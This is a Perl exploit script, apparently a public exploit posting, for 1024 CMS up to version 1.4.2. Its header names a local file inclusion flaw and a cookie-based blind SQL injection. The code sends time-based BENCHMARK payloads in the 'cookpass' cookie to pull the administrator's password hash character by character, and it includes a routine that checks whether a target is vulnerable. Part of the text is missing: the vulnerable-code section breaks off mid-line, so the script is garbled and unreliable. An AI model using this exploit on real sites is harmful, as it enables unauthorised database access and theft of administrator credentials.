# Author: __GiReX__ # mySite: girex.altervista.org # Date: 13/04/2008 # CMS: 1024 CMS <= 1.4.1 and 1.4.2 (beta) # Site: 1024cms.com # Bug1: Local File Inclusion # Need: magic_quotes_gpc = Off / register_globals = On # Bug2: Cookie Blind SQL Injection # Exploit: Admin Hash Retrieve Exploit # Need: magic_quotes_gpc = Off # Bug1: Vuln Code: pages/print/default/ops/news.php 3 and $rv) { $hash .= chr($cset[$i]); syswrite(STDOUT, chr($cset[$i]), 1); last; } } } if(not defined $hash or length($hash) != 32) { print STDOUT "\n[-] Exploit mistake: please check the benchmark and the sql query\n\n"; } else { print STDOUT "\n[+] Exploit terminated\n\n"; } sub banner { print "\n"; print "[+] 1024 CMS <= 1.4.2 (beta) Remote Blind SQL Injection\n"; print "[+] Admin Hash Retrieve Exploit\n"; print "[+] Coded by __GiReX__\n"; print "\n"; } sub check_vuln { my $target = shift; $get = new HTTP::Request(GET, $target); $get->header(Cookie => "cookpass=-1'; cookuid=0; cooktype=0; cooklogged=0; cookuser=0"); $res = $client->request($get); if($res->is_success) { return 1 if $res->as_string =~ /Cannot check combination/; } else { die "[-] Invalid target : ${target}\n\n"; } return 0; } sub check_char { my ($char, $n) = @_; $get->header(Cookie => 'cookpass=-1\'+AND+'. 'CASE+WHEN(SELECT ASCII(SUBSTRING(password,'.$n.',1))+'. 'FROM+otatf_users+WHERE+id=1)='.$char.'+'. 'THEN+BENCHMARK(90000000,CHAR(0))+END#; '. 'cookuid=1; cooktype=1; cooklogged=1; cookuser=1'); $res = $client->request($get); return $res->is_success; }